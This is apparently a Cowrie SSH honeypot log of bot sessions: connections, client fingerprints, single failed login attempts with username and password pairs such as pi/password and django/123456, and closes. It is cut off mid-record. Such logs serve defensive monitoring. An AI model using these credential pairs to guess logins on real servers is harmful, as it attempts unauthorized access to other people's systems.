{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:28:22.250396Z","src_ip":"2.57.122.208","session":"2399c58162d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.129.186","src_port":15896,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e3dbcbc75ac","protocol":"ssh","message":"New connection: 152.32.129.186:15896 (10.17.0.5:22) [session: 0e3dbcbc75ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:29:07.300297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:29:07.305205Z","src_ip":"152.32.129.186","session":"0e3dbcbc75ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:29:07.529453Z","src_ip":"152.32.129.186","session":"0e3dbcbc75ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"password","message":"login attempt [pi/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:29:08.459009Z","src_ip":"152.32.129.186","session":"0e3dbcbc75ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:29:09.687082Z","src_ip":"152.32.129.186","session":"0e3dbcbc75ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.127.249","src_port":47494,"dst_ip":"159.203.135.109","dst_port":22,"session":"59150cce58e7","protocol":"ssh","message":"New connection: 45.79.127.249:47494 (159.203.135.109:22) [session: 59150cce58e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:29:41.462278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:29:41.465893Z","src_ip":"45.79.127.249","session":"59150cce58e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:29:41.668111Z","src_ip":"45.79.127.249","session":"59150cce58e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zks","password":"ZKS","message":"login attempt [zks/ZKS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:29:42.076326Z","src_ip":"45.79.127.249","session":"59150cce58e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:29:43.281398Z","src_ip":"45.79.127.249","session":"59150cce58e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":40292,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ecf47dc4d52","protocol":"ssh","message":"New connection: 103.13.206.100:40292 (10.17.0.5:22) [session: 6ecf47dc4d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:29:47.526222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:29:47.530779Z","src_ip":"103.13.206.100","session":"6ecf47dc4d52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:29:47.762593Z","src_ip":"103.13.206.100","session":"6ecf47dc4d52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prueba","password":"Prueba123!","message":"login attempt [prueba/Prueba123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:29:48.721494Z","src_ip":"103.13.206.100","session":"6ecf47dc4d52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:29:49.955049Z","src_ip":"103.13.206.100","session":"6ecf47dc4d52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.240.121","src_port":44474,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5bf97b103ea","protocol":"ssh","message":"New connection: 5.75.240.121:44474 (159.203.135.109:22) [session: b5bf97b103ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:30:10.711711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:30:10.720614Z","src_ip":"5.75.240.121","session":"b5bf97b103ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:30:10.816368Z","src_ip":"5.75.240.121","session":"b5bf97b103ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cardano","password":"cardano","message":"login attempt [cardano/cardano] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:30:11.009637Z","src_ip":"5.75.240.121","session":"b5bf97b103ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:30:12.106718Z","src_ip":"5.75.240.121","session":"b5bf97b103ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.128.241.222","src_port":54206,"dst_ip":"10.17.0.5","dst_port":22,"session":"59f08bba5774","protocol":"ssh","message":"New connection: 138.128.241.222:54206 (10.17.0.5:22) [session: 59f08bba5774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:30:49.429778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:30:49.434821Z","src_ip":"138.128.241.222","session":"59f08bba5774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:30:49.440663Z","src_ip":"138.128.241.222","session":"59f08bba5774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gxc","password":"gxc2018!","message":"login attempt [gxc/gxc2018!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:30:49.455554Z","src_ip":"138.128.241.222","session":"59f08bba5774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:30:50.462808Z","src_ip":"138.128.241.222","session":"59f08bba5774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.137.141","src_port":56264,"dst_ip":"10.17.0.5","dst_port":22,"session":"9181036e2e46","protocol":"ssh","message":"New connection: 5.75.137.141:56264 (10.17.0.5:22) [session: 9181036e2e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:30:57.912638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:30:57.917469Z","src_ip":"5.75.137.141","session":"9181036e2e46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:30:58.005783Z","src_ip":"5.75.137.141","session":"9181036e2e46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mana","password":"mana!","message":"login attempt [mana/mana!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:30:58.187548Z","src_ip":"5.75.137.141","session":"9181036e2e46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:30:59.277498Z","src_ip":"5.75.137.141","session":"9181036e2e46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.129.186","src_port":28962,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad6b9309b556","protocol":"ssh","message":"New connection: 152.32.129.186:28962 (10.17.0.5:22) [session: ad6b9309b556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:31:03.196638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:31:03.201853Z","src_ip":"152.32.129.186","session":"ad6b9309b556","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:31:03.420603Z","src_ip":"152.32.129.186","session":"ad6b9309b556","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"django","password":"123456","message":"login attempt [django/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:31:04.329305Z","src_ip":"152.32.129.186","session":"ad6b9309b556","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:31:05.550561Z","src_ip":"152.32.129.186","session":"ad6b9309b556","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.30.211","src_port":37436,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd4e741ae69d","protocol":"ssh","message":"New connection: 159.65.30.211:37436 (159.203.135.109:22) [session: dd4e741ae69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:31:39.986811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T19:31:39.991036Z","src_ip":"159.65.30.211","session":"dd4e741ae69d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","d